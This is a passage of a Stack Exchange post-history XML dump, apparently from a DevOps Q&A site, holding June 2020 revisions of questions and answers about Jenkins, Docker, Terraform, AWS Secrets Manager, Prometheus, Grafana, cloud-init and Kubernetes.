  <row Id="36066" PostHistoryTypeId="4" PostId="11767" RevisionGUID="b26f6042-bacb-4ae2-9147-c9fd13784f47" CreationDate="2020-06-05T13:23:58.737" UserId="17329" Comment="added 249 characters in body; edited title" Text="K8s to Prometheus apiserver_client_certificate_expiration_seconds_count metric, why does it count more seconds than 86400 for a single day?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36067" PostHistoryTypeId="2" PostId="11776" RevisionGUID="7d9909a6-a4ed-4120-a7f7-51cbb3827926" CreationDate="2020-06-05T13:25:33.300" UserId="22597" Text="Actually, I do not have Jenkins admin right and instead of requesting admin to install &quot;parameterized-scheduler-plugin&quot;, are there any other plugin-less alternatives." ContentLicense="CC BY-SA 4.0" />
  <row Id="36068" PostHistoryTypeId="1" PostId="11776" RevisionGUID="7d9909a6-a4ed-4120-a7f7-51cbb3827926" CreationDate="2020-06-05T13:25:33.300" UserId="22597" Text="How I can trigger CRON with parameters without using following plugin &quot;parameterized-scheduler-plugin&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36069" PostHistoryTypeId="3" PostId="11776" RevisionGUID="7d9909a6-a4ed-4120-a7f7-51cbb3827926" CreationDate="2020-06-05T13:25:33.300" UserId="22597" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36070" PostHistoryTypeId="2" PostId="11777" RevisionGUID="567d214a-883d-499f-b901-9337471da33c" CreationDate="2020-06-05T14:21:21.870" UserId="15792" Text="AWS secrets are still accessible via the CLI.&#xD;&#xA;&#xD;&#xA;The link you provided goes to an old version of the AWS CLI.  Check out the latest version and commands here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/secretsmanager/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="36071" PostHistoryTypeId="2" PostId="11778" RevisionGUID="516fa67c-bafb-43ac-b107-5a1680a63684" CreationDate="2020-06-05T14:28:40.787" UserId="15792" Text="Ultimately, as long as you have the disk space and RAM, you can run both in parallel with very few issues.&#xD;&#xA;&#xD;&#xA;The biggest problem you may run into is that the default ports of the applications you run in a container may already be in use.  For example SQL server install runs on port 1433 by default.  If you try to run a SQL server container and do not map a different port on the host machine to 1433 on the container you will run into errors.  This is easy enough do though:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;docker run -e &quot;ACCEPT_EULA=Y&quot; -e &quot;SA_PASSWORD=&lt;PW&gt;&quot; -p 1431:1433 -d mcr.microsoft.com/mssql/server:2019-CU3-ubuntu-18.04&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;In the above example, MSSQL server will run on port 1431 and map to port 1433 in the container.  On your local machine you can access either your SQL server on port 1433 or the container SQL server on 1431." ContentLicense="CC BY-SA 4.0" />
  <row Id="36072" PostHistoryTypeId="2" PostId="11779" RevisionGUID="bedfa511-9f83-48d6-8897-7513802af1b6" CreationDate="2020-06-05T18:35:13.127" UserId="4115" Text="You can't use `post` because post is part of the declarative DSL, not scripted, and you're defining your stages in a `script` block.  So I'm afraid that as long as you're using a `script` block to define your stages, you're going to have to stick with the scripted method, which is the groovy `try { ... } catch { ... } finally { ... }` construct.  For example:&#xD;&#xA;&#xD;&#xA;    def createStage(String stageName) {&#xD;&#xA;        stage(stageName) {&#xD;&#xA;            try {&#xD;&#xA;                echo &quot;Stage: ${stageName}&quot;&#xD;&#xA;                echo &quot;${stageName} &gt; this is executed only on success&quot;&#xD;&#xA;            finally {&#xD;&#xA;                echo &quot;${stageName} &gt; this is always executed&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="36073" PostHistoryTypeId="50" PostId="10417" RevisionGUID="0dc167c6-8252-4f1b-988d-8fc56d0d0772" CreationDate="2020-06-05T19:08:15.677" UserId="-1" />
  <row Id="36074" PostHistoryTypeId="50" PostId="10367" RevisionGUID="00567998-1f6b-40dc-bcff-0317826a2ad4" CreationDate="2020-06-05T20:06:15.577" UserId="-1" />
  <row Id="36075" PostHistoryTypeId="50" PostId="5887" RevisionGUID="ededed4b-965d-40ca-afcc-43c26d60cf98" CreationDate="2020-06-06T01:03:15.323" UserId="-1" />
  <row Id="36076" PostHistoryTypeId="2" PostId="11780" RevisionGUID="7a2d75a7-4978-4cfe-824f-9bfa7fe76b7b" CreationDate="2020-06-06T10:06:02.767" UserId="22604" Text="Is there a way to know if an app has crashed inside docker using maybe bash script or API call from host container, am implementing CI/CD and want to stop container when it crashes on auto-deploy.&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="36077" PostHistoryTypeId="1" PostId="11780" RevisionGUID="7a2d75a7-4978-4cfe-824f-9bfa7fe76b7b" CreationDate="2020-06-06T10:06:02.767" UserId="22604" Text="Docker calls to detect app crashing inside it" ContentLicense="CC BY-SA 4.0" />
  <row Id="36078" PostHistoryTypeId="3" PostId="11780" RevisionGUID="7a2d75a7-4978-4cfe-824f-9bfa7fe76b7b" CreationDate="2020-06-06T10:06:02.767" UserId="22604" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36079" PostHistoryTypeId="2" PostId="11781" RevisionGUID="9ca4edc7-7a0a-44c0-85a3-bc90a0f3375f" CreationDate="2020-06-07T01:31:19.097" UserId="22607" Text="In short: I want a ready-made webapp framework with a web server and a database in a container, such that I can edit files on my local drive and view the results through a browser pointed at the container - in order to get started with said framework. I want to be writing and viewing webpages within 10 minutes of starting. Seems achievable in theory.&#xD;&#xA;&#xD;&#xA;If that's clear, feel free to skip the rest...&#xD;&#xA;&#xD;&#xA;Every few years I check in on the web development world, which I am not involved in. I always bail out because the tools take too long to set up and rarely work without lots of tinkering. I would think by now there should be some simple, turn-key docker-compose solutions that can give a reasonable working setup (ie. Node.js+MySQL, LAMP, etc).&#xD;&#xA;&#xD;&#xA;Ideally it would look to a configurable directory on the local disk for the actual code to run, so I can just start working on a project. I am not locked in to any platform, but it should be up and running (serving pages) inside of 10 minutes. Shouldn't have to configure more than a couple ports, passwords, and directories.&#xD;&#xA;&#xD;&#xA;I have found tutorials that get halfway to setting it up, but not one actually works as advertised. After having spent the better part of the past two days trying solutions, I am about ready to give up yet again. My goal is not to get into the minutiae of setting up a deployment. I just want to mess around with the frameworks and languages and see what they are capable of and what I might like to use.&#xD;&#xA;&#xD;&#xA;Is there something out there I am just not seeing? Is there something that prevents this? Wouldn't this be the preferred method of starting a project for just about everyone, experienced or not?&#xD;&#xA;&#xD;&#xA;It seems like a few of the common stacks would be really handy.&#xD;&#xA;&#xD;&#xA;If I see something that requires making custom Docker files, I am out. I've been down that road (quite extensively in the supercomputing realm with Singularity), and it seems entirely unnecessary here. The official containers for these tools seem okay, they just need to be integrated and brought up together.&#xD;&#xA;&#xD;&#xA;[This](https://hackernoon.com/a-better-way-to-develop-node-js-with-docker-cd29d3a0093) and [this](https://hackernoon.com/a-better-way-to-develop-node-js-with-docker-cd29d3a0093) (ignore the terrible politics splashed all over the site) seemed to get close in terms of the goal, but it did not work in practice and needs debugging. Even then, trying it required reading through a lot of unnecessary stuff and copying and pasting pieces of multiple versions of files.&#xD;&#xA;&#xD;&#xA;I would think the maintainers of projects would have demo versions ready to go. It would probably attract new users.&#xD;&#xA;&#xD;&#xA;In many cases, the final deployment very well may look like the development one, which would be a nice bonus." ContentLicense="CC BY-SA 4.0" />
  <row Id="36080" PostHistoryTypeId="1" PostId="11781" RevisionGUID="9ca4edc7-7a0a-44c0-85a3-bc90a0f3375f" CreationDate="2020-06-07T01:31:19.097" UserId="22607" Text="Are there turn-key development webapp containers for evaluation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36081" PostHistoryTypeId="3" PostId="11781" RevisionGUID="9ca4edc7-7a0a-44c0-85a3-bc90a0f3375f" CreationDate="2020-06-07T01:31:19.097" UserId="22607" Text="&lt;docker-compose&gt;&lt;node.js&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36082" PostHistoryTypeId="5" PostId="11780" RevisionGUID="318a9e71-af60-4ad4-8746-781e817c2c7f" CreationDate="2020-06-07T06:30:38.647" UserId="22373" Comment="Removed unnecessary words" Text="Is there a way to know if an app has crashed inside docker using maybe bash script or API call from host container, am implementing CI/CD and want to stop container when it crashes on auto-deploy." ContentLicense="CC BY-SA 4.0" />
  <row Id="36083" PostHistoryTypeId="24" PostId="11780" RevisionGUID="318a9e71-af60-4ad4-8746-781e817c2c7f" CreationDate="2020-06-07T06:30:38.647" Comment="Proposed by 22373 approved by 40 edit id of 1215" ContentLicense="CC BY-SA 4.0" />
  <row Id="36084" PostHistoryTypeId="5" PostId="11766" RevisionGUID="d4c0fce4-8f4d-4200-b6f0-8f0f3c740311" CreationDate="2020-06-07T12:55:12.730" UserId="40" Comment="added 4 characters in body" Text="eth0 is used by vagrant for nat configuration in order to establish portforwarding. eth1 private networks that you have configured should allow you to ping/nslookup from one node to another. You can use the following to customize the ip of the nat but I don't see why would you do that:&#xD;&#xA;&#xD;&#xA;    config.vm.provider &quot;virtualbox&quot; do |vbx|&#xD;&#xA;      vbx.customize ['modifyvm', :id, '--natnet1', '192.168.169.0/24']&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Update: tested your setup it doesn't work, this is some CentOS 8 specifics." ContentLicense="CC BY-SA 4.0" />
  <row Id="36085" PostHistoryTypeId="50" PostId="11548" RevisionGUID="00e588a0-f20a-43d9-a815-45605e5a0bea" CreationDate="2020-06-07T17:02:40.323" UserId="-1" />
  <row Id="36090" PostHistoryTypeId="2" PostId="11783" RevisionGUID="42c374d3-d5be-4d41-a207-d05cb2814f91" CreationDate="2020-06-08T06:21:35.407" UserId="17684" Text="I'm trying to update the Test Execution result of a particular Test Step within it using REST api. I referred the [Test Step Results - REST][1] documentation, however, the solution doesn't produce the output that I expect. Here are the detailed steps that I followed:&#xD;&#xA;&#xD;&#xA; 1. Created a Test Execution using REST.&#xD;&#xA;&#xD;&#xA;    **Request:** `curl -H &quot;Content-Type: application/json&quot; -X POST -u admin:admin --data @test-execution.json http://{XRAY-Server}/rest/raven/1.0/import/execution`&#xD;&#xA;&#xD;&#xA;    **Response:** `{&quot;testExecIssue&quot;:{&quot;id&quot;:&quot;48033&quot;,&quot;key&quot;:&quot;XRAYT-362&quot;,&quot;self&quot;:&quot;http://{XRAY-Server}/rest/api/2/issue/48033&quot;}}`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 2. Update the same Test Execution for a particular Test Step.&#xD;&#xA;&#xD;&#xA;    JSON: test-execution-update.json&#xD;&#xA;&#xD;&#xA;    ```{&#xD;&#xA;   &quot;id&quot;:&quot;48033&quot;,&#xD;&#xA;   &quot;status&quot;:&quot;FAIL&quot;,&#xD;&#xA;   &quot;comment&quot;:&quot;Expected '5' to equal '10'.&quot;,&#xD;&#xA;   &quot;evidences&quot;:[&#xD;&#xA;	  {&#xD;&#xA;		 &quot;data&quot;:&quot;iVBORw0KGgoAAAANSUhEUgAA..[base64-image]&quot;,&#xD;&#xA;		 &quot;filename&quot;:&quot;screenshot.png&quot;,&#xD;&#xA;		 &quot;contentType&quot;:&quot;image/png&quot;&#xD;&#xA;	  }&#xD;&#xA;   ],&#xD;&#xA;   &quot;actualResult&quot;:&quot;The actual result for 1177&quot;&#xD;&#xA;}```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    **Request:** `curl -H &quot;Content-Type: application/json&quot; -X PUT -u admin:admin --data @test-execution-update.json http://{XRAY-Server}/rest/raven/1.0/api/testrun/48033/step/1176/`&#xD;&#xA;&#xD;&#xA;    **Response:** `Test Run with Id 48,033 was not found in the server`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As you can see the Test Run id is used later is same as was generated by the earlier response. So it's weird to get such response.&#xD;&#xA;&#xD;&#xA;Has anyone faced such issue? Any help would be much appreciated.&#xD;&#xA;&#xD;&#xA;Thanks in advance :)&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;&#xD;&#xA;Siddhesh Malpani&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.xpand-it.com/display/public/XRAY/Test+Step+Results+-+REST" ContentLicense="CC BY-SA 4.0" />
  <row Id="36091" PostHistoryTypeId="1" PostId="11783" RevisionGUID="42c374d3-d5be-4d41-a207-d05cb2814f91" CreationDate="2020-06-08T06:21:35.407" UserId="17684" Text="How to update the XRAY Test Execution result of a particular Test Step within it using REST api?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36092" PostHistoryTypeId="3" PostId="11783" RevisionGUID="42c374d3-d5be-4d41-a207-d05cb2814f91" CreationDate="2020-06-08T06:21:35.407" UserId="17684" Text="&lt;automation&gt;&lt;jira&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36093" PostHistoryTypeId="2" PostId="11784" RevisionGUID="2bd42f9c-e3fe-471c-bc44-044582e381f1" CreationDate="2020-06-08T08:37:07.607" UserId="17703" Text="I'm trying to make a PoC. Host OS gets Kerberos ticket. There is a Docker container running on host OS. Docker container needs to get/hijack this ticket somehow it order to call some external services in Kerberized environment. &#xD;&#xA;&#xD;&#xA;What is the the fastest way to share ticket with Docker container? I'm not concerned about security at the moment and allowed to do with host machine whatever I need to. " ContentLicense="CC BY-SA 4.0" />
  <row Id="36094" PostHistoryTypeId="1" PostId="11784" RevisionGUID="2bd42f9c-e3fe-471c-bc44-044582e381f1" CreationDate="2020-06-08T08:37:07.607" UserId="17703" Text="Is it possible to share Kerbeos ticket from host system with Docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="36095" PostHistoryTypeId="3" PostId="11784" RevisionGUID="2bd42f9c-e3fe-471c-bc44-044582e381f1" CreationDate="2020-06-08T08:37:07.607" UserId="17703" Text="&lt;docker&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36096" PostHistoryTypeId="2" PostId="11785" RevisionGUID="eb875a69-3df2-4969-9178-32a5fa23a3ad" CreationDate="2020-06-08T12:00:31.250" UserId="17329" Text="Based on community answer to that question it turned out there isn't count of the seconds, it is count of all samples for given histogram.&#xD;&#xA;That means I had ~146,000 HTTP connections to that API server in that period." ContentLicense="CC BY-SA 4.0" />
  <row Id="36097" PostHistoryTypeId="50" PostId="11514" RevisionGUID="08f02744-f0a0-4872-ab68-e0ddf578056c" CreationDate="2020-06-08T13:01:40.143" UserId="-1" />
  <row Id="36098" PostHistoryTypeId="5" PostId="11665" RevisionGUID="c56e4e81-ba87-4b2e-93b4-b502fc94634f" CreationDate="2020-06-08T13:32:06.567" UserId="9077" Comment="grammar edits" Text="I have two NAT gateway attachments for two private subnets in AWS. Is it possible to have one NAT gateway attachment for two private subnets so that I can save one EIP?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36099" PostHistoryTypeId="4" PostId="11665" RevisionGUID="c56e4e81-ba87-4b2e-93b4-b502fc94634f" CreationDate="2020-06-08T13:32:06.567" UserId="9077" Comment="grammar edits" Text="One NAT attachment for two private subnets" ContentLicense="CC BY-SA 4.0" />
  <row Id="36100" PostHistoryTypeId="24" PostId="11665" RevisionGUID="c56e4e81-ba87-4b2e-93b4-b502fc94634f" CreationDate="2020-06-08T13:32:06.567" Comment="Proposed by 9077 approved by 40 edit id of 1216" ContentLicense="CC BY-SA 4.0" />
  <row Id="36101" PostHistoryTypeId="2" PostId="11786" RevisionGUID="44a63f96-d7f2-416e-aa48-28049e85f902" CreationDate="2020-06-08T16:51:31.177" UserId="22594" Text="Hello im a junior in a devops job. I am using terraform to create two instances and a security group. Here is how I did it: &#xD;&#xA;&#xD;&#xA;    # bastion host&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;bastion_1a&quot; {&#xD;&#xA;      ami                         = data.aws_ami.amazon_linux_2.id&#xD;&#xA;      availability_zone           = var.az_1a&#xD;&#xA;      instance_type               = var.instance_type&#xD;&#xA;      key_name                    = var.bastion_key_name&#xD;&#xA;      subnet_id                   = data.aws_subnet.public_subnet_us_east_1a.id&#xD;&#xA;      vpc_security_group_ids      = [aws_security_group.bastion_sg.id]&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;bastion_1b&quot; {&#xD;&#xA;      ami                         = data.aws_ami.amazon_linux_2.id&#xD;&#xA;      availability_zone           = var.az_1b&#xD;&#xA;      instance_type               = var.instance_type&#xD;&#xA;      key_name                    = var.bastion_key_name&#xD;&#xA;      subnet_id                   = data.aws_subnet.public_subnet_us_east_1b.id&#xD;&#xA;      vpc_security_group_ids      = [aws_security_group.bastion_sg.id]    &#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_security_group&quot; &quot;bastion_sg&quot; {&#xD;&#xA;      name        = var.name_bastion_sg&#xD;&#xA;      description = var.bastion_sg_description  &#xD;&#xA;      vpc_id      = module.vpc.vpc_id&#xD;&#xA;    &#xD;&#xA;      ingress {&#xD;&#xA;        description = var.ssh_ingress_description&#xD;&#xA;        from_port   = var.port_ssh&#xD;&#xA;        to_port     = var.port_ssh&#xD;&#xA;        protocol    = var.protocol_tcp&#xD;&#xA;        cidr_blocks = local.ips_allowed_ssh&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;the problem: after the resources have been created, I checked the console and found that two security groups were created one for bastion_1a and another one for bastion_1b. However, as you can see in my terraform I only specified one security group. &#xD;&#xA;&#xD;&#xA;I would like to use terraform to create one security group for both instances.Please can someone explain to me why terraform is creating two security groups. &#xD;&#xA;&#xD;&#xA;What do I need to do so that terraform only creates one security group.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;thank you for all the help " ContentLicense="CC BY-SA 4.0" />
  <row Id="36102" PostHistoryTypeId="1" PostId="11786" RevisionGUID="44a63f96-d7f2-416e-aa48-28049e85f902" CreationDate="2020-06-08T16:51:31.177" UserId="22594" Text="Terraform duplicates the security groups, how do I stop it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36103" PostHistoryTypeId="3" PostId="11786" RevisionGUID="44a63f96-d7f2-416e-aa48-28049e85f902" CreationDate="2020-06-08T16:51:31.177" UserId="22594" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36105" PostHistoryTypeId="33" PostId="11763" RevisionGUID="bed439fa-9a7a-46f2-8c83-650a1c6bad6b" CreationDate="2020-06-08T21:04:56.487" UserId="8251" Comment="57" />
  <row Id="36106" PostHistoryTypeId="50" PostId="5248" RevisionGUID="d78b3511-d1e9-4fb5-be5e-114fc9751c35" CreationDate="2020-06-08T23:03:40.333" UserId="-1" />
  <row Id="36107" PostHistoryTypeId="5" PostId="11786" RevisionGUID="29d81f76-b970-4fd2-8ab6-910362481ad4" CreationDate="2020-06-09T05:46:16.123" UserId="22373" Comment="Removed unnecessary words" Text="I'm using terraform to create two instances and a security group. Here is how I did it: &#xD;&#xA;&#xD;&#xA;    # bastion host&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;bastion_1a&quot; {&#xD;&#xA;      ami                         = data.aws_ami.amazon_linux_2.id&#xD;&#xA;      availability_zone           = var.az_1a&#xD;&#xA;      instance_type               = var.instance_type&#xD;&#xA;      key_name                    = var.bastion_key_name&#xD;&#xA;      subnet_id                   = data.aws_subnet.public_subnet_us_east_1a.id&#xD;&#xA;      vpc_security_group_ids      = [aws_security_group.bastion_sg.id]&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;bastion_1b&quot; {&#xD;&#xA;      ami                         = data.aws_ami.amazon_linux_2.id&#xD;&#xA;      availability_zone           = var.az_1b&#xD;&#xA;      instance_type               = var.instance_type&#xD;&#xA;      key_name                    = var.bastion_key_name&#xD;&#xA;      subnet_id                   = data.aws_subnet.public_subnet_us_east_1b.id&#xD;&#xA;      vpc_security_group_ids      = [aws_security_group.bastion_sg.id]    &#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_security_group&quot; &quot;bastion_sg&quot; {&#xD;&#xA;      name        = var.name_bastion_sg&#xD;&#xA;      description = var.bastion_sg_description  &#xD;&#xA;      vpc_id      = module.vpc.vpc_id&#xD;&#xA;    &#xD;&#xA;      ingress {&#xD;&#xA;        description = var.ssh_ingress_description&#xD;&#xA;        from_port   = var.port_ssh&#xD;&#xA;        to_port     = var.port_ssh&#xD;&#xA;        protocol    = var.protocol_tcp&#xD;&#xA;        cidr_blocks = local.ips_allowed_ssh&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;the problem: after the resources have been created, I checked the console and found that two security groups were created one for bastion_1a and another one for bastion_1b. However, as you can see in my terraform I only specified one security group. &#xD;&#xA;&#xD;&#xA;I would like to use terraform to create one security group for both instances.Please can someone explain to me why terraform is creating two security groups. &#xD;&#xA;&#xD;&#xA;What do I need to do so that terraform only creates one security group. " ContentLicense="CC BY-SA 4.0" />
  <row Id="36108" PostHistoryTypeId="24" PostId="11786" RevisionGUID="29d81f76-b970-4fd2-8ab6-910362481ad4" CreationDate="2020-06-09T05:46:16.123" Comment="Proposed by 22373 approved by 354, 40 edit id of 1218" ContentLicense="CC BY-SA 4.0" />
  <row Id="36109" PostHistoryTypeId="2" PostId="11787" RevisionGUID="85914b97-fcf4-4324-9ece-fc1a729aeb09" CreationDate="2020-06-09T06:52:33.747" UserId="22632" Text="I'm trying to set up a Ubuntu Server on Azure. None of the images do quite what I want, so I was planning on taking a vanilla Ubuntu image and using cloud-init to modify it. I'd like to be able to deploy this to multiple environments using Azure Pipelines and have an ARM Template that is deploying the vanilla instance quite nicely.&#xD;&#xA;&#xD;&#xA;The issue I have is how to get the cloud-init script I have into the custom data parameter of the ARM Template. It seems that because ARM Templates have to be JSON the only way to do this is to have the cloud-init script on one very very long line. Either that or host the cloud-init file somewhere and do something hacky like this: https://www.wintellect.com/arm-templates-and-cloud-init/. The ARM Template task I'm using in Azure Pipelines does not seem to have a way to pass a file's contents as a parameter.&#xD;&#xA;&#xD;&#xA;I'd like to have both the ARM Template and the cloud-init script as separate files in my private git repository. Currently I'm considering some kind of pre-processing build step to combine the two. Has anyone already done this and have a code example?&#xD;&#xA;&#xD;&#xA;Maybe I'm &quot;doing it wrong&quot;, what do other people do/what is the best way to do this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36110" PostHistoryTypeId="1" PostId="11787" RevisionGUID="85914b97-fcf4-4324-9ece-fc1a729aeb09" CreationDate="2020-06-09T06:52:33.747" UserId="22632" Text="How to combine cloud-init with Azure ARM Template" ContentLicense="CC BY-SA 4.0" />
  <row Id="36111" PostHistoryTypeId="3" PostId="11787" RevisionGUID="85914b97-fcf4-4324-9ece-fc1a729aeb09" CreationDate="2020-06-09T06:52:33.747" UserId="22632" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;cloud-init&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36112" PostHistoryTypeId="2" PostId="11788" RevisionGUID="e8e0bafe-a511-45a5-ac8a-2843dec51291" CreationDate="2020-06-09T07:10:23.883" UserId="17329" Text="Use AWS Automation document on state change to modify autoscaling group to 0 and return to 1 after. It should terminate and recreate." ContentLicense="CC BY-SA 4.0" />
  <row Id="36113" PostHistoryTypeId="2" PostId="11789" RevisionGUID="1bc59d30-48a0-49d7-93d6-5056385e3be9" CreationDate="2020-06-09T12:51:04.160" UserId="22638" Text="I'm still a newbie learning the kubernetes and trying to clarify the details.&#xD;&#xA;&#xD;&#xA;I've read [this document][1] about the components and would like to know  the structure of kubernetes master node:&#xD;&#xA;&#xD;&#xA;1. is it allowed to deploy the kubernetes control plane components on different master nodes in same cluster?&#xD;&#xA;(e.g. deploy &quot;kube-schedulter&quot; on master node A and &quot;kube-controller-manager daemon&quot; on master node B)&#xD;&#xA;2. Is there options to make HA/FT for the master node?&#xD;&#xA;4. is it suggested to deploy all the kubernetes control plane components together on a master node no matter what kind of use cases?&#xD;&#xA;4. does the deployment of master node(s) support both static IP address and DHCP IP address assignment?&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/overview/components/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36114" PostHistoryTypeId="1" PostId="11789" RevisionGUID="1bc59d30-48a0-49d7-93d6-5056385e3be9" CreationDate="2020-06-09T12:51:04.160" UserId="22638" Text="components in kubernetes master node?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36115" PostHistoryTypeId="3" PostId="11789" RevisionGUID="1bc59d30-48a0-49d7-93d6-5056385e3be9" CreationDate="2020-06-09T12:51:04.160" UserId="22638" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36119" PostHistoryTypeId="5" PostId="11774" RevisionGUID="a298b09e-e157-4ad8-84af-e7f7c93c5cd0" CreationDate="2020-06-09T14:02:27.260" UserId="9077" Comment="formatting and grammar edits" Text="If I enter: &#xD;&#xA; &#xD;&#xA;     aws secretsmanager get-secret-value --secret-id  my secret id&#xD;&#xA;&#xD;&#xA;It says invalid choice.&#xD;&#xA;&#xD;&#xA;&gt;aws: error: argument command: Invalid choice, valid choices are:&#xD;&#xA;&#xD;&#xA;and doesn't list `secretsmanager` as one of the choices or any variation on `secretsmanager`?&#xD;&#xA;&#xD;&#xA;    aws secretsmanager get-secret-value --secret-id  my secret id&#xD;&#xA;&#xD;&#xA;was used in a [video from 2018][1] &#xD;&#xA;&#xD;&#xA;Similarly, [this command][2] doesn't work&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;and AWS help and AWS man don't contain secrets manager?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.youtube.com/watch?v=Y3Gn_iP3FlE&#xD;&#xA;  [2]: https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/list-secret-version-ids.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="36120" PostHistoryTypeId="4" PostId="11774" RevisionGUID="a298b09e-e157-4ad8-84af-e7f7c93c5cd0" CreationDate="2020-06-09T14:02:27.260" UserId="9077" Comment="formatting and grammar edits" Text="Was AWS Secrets Manager removed from AWS CLI commands?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36121" PostHistoryTypeId="24" PostId="11774" RevisionGUID="a298b09e-e157-4ad8-84af-e7f7c93c5cd0" CreationDate="2020-06-09T14:02:27.260" Comment="Proposed by 9077 approved by 40 edit id of 1219" ContentLicense="CC BY-SA 4.0" />
  <row Id="36122" PostHistoryTypeId="2" PostId="11790" RevisionGUID="223f1c20-d375-42ac-bda4-d6b930971f0b" CreationDate="2020-06-09T15:31:08.380" UserId="22640" Text="I'm a bit of a newbie with this, but I haven't been able to find an explanation. Here's my issue. I'm trying to get Prometheus and Grafana configured on an AWS Fargate instance. I'm testing inside a Docker instance on my desktop. Both environments were coming up, but Grafana was reporting no data.&#xD;&#xA;&#xD;&#xA;My Datasource:&#xD;&#xA;&#xD;&#xA;    apiVersion: 1&#xD;&#xA;&#xD;&#xA;    datasources:&#xD;&#xA;      - name: Prometheus&#xD;&#xA;        type: prometheus&#xD;&#xA;        access: direct&#xD;&#xA;        orgId: 1&#xD;&#xA;        url: http://localhost:9090&#xD;&#xA;        isDefault: true&#xD;&#xA;&#xD;&#xA;I started the container with this:&#xD;&#xA;&#xD;&#xA;    docker run -d \&#xD;&#xA;		--name prometheus \&#xD;&#xA;		--hostname prometheus \&#xD;&#xA;		-p 8110:22 \&#xD;&#xA;		-p 9091:9091 \&#xD;&#xA;		prometheus:latest&#xD;&#xA;&#xD;&#xA;When I couldn't figure out why Grafana reported no data, I restarted the container, adding -p 9090:9090 so that I could access Prometheus's graphing interface. And suddenly Grafana shows data.&#xD;&#xA;&#xD;&#xA;Which has me deeply puzzled. I don't know how Grafana works under the hood, and so far I haven't found an explanation. So I'm wondering why port-mapping fixed the problem.&#xD;&#xA;&#xD;&#xA;Do I need to configure Grafana to access Prometheus via an externally-resolved URL (that is, one that resolves in my browser, not from Grafana itself)?&#xD;&#xA;&#xD;&#xA;I hadn't planned on exposing Prometheus itself to the world, but maybe I have to." ContentLicense="CC BY-SA 4.0" />
  <row Id="36123" PostHistoryTypeId="1" PostId="11790" RevisionGUID="223f1c20-d375-42ac-bda4-d6b930971f0b" CreationDate="2020-06-09T15:31:08.380" UserId="22640" Text="Initial Configuration: Grafana and Prometheus inside docker and then AWS" ContentLicense="CC BY-SA 4.0" />
  <row Id="36124" PostHistoryTypeId="3" PostId="11790" RevisionGUID="223f1c20-d375-42ac-bda4-d6b930971f0b" CreationDate="2020-06-09T15:31:08.380" UserId="22640" Text="&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36129" PostHistoryTypeId="5" PostId="11790" RevisionGUID="75440510-c98f-40c4-97bd-743b59b0e592" CreationDate="2020-06-09T16:24:54.743" UserId="22640" Comment="added 224 characters in body" Text="I'm a bit of a newbie with this, but I haven't been able to find an explanation. Here's my issue. I'm trying to get Prometheus and Grafana configured on an AWS Fargate instance. I'm testing inside a Docker instance on my desktop. Both environments were coming up, but Grafana was reporting no data.&#xD;&#xA;&#xD;&#xA;My Datasource:&#xD;&#xA;&#xD;&#xA;    apiVersion: 1&#xD;&#xA;&#xD;&#xA;    datasources:&#xD;&#xA;      - name: Prometheus&#xD;&#xA;        type: prometheus&#xD;&#xA;        access: direct&#xD;&#xA;        orgId: 1&#xD;&#xA;        url: http://localhost:9090&#xD;&#xA;        isDefault: true&#xD;&#xA;&#xD;&#xA;I started the container with this:&#xD;&#xA;&#xD;&#xA;    docker run -d \&#xD;&#xA;		--name prometheus \&#xD;&#xA;		--hostname prometheus 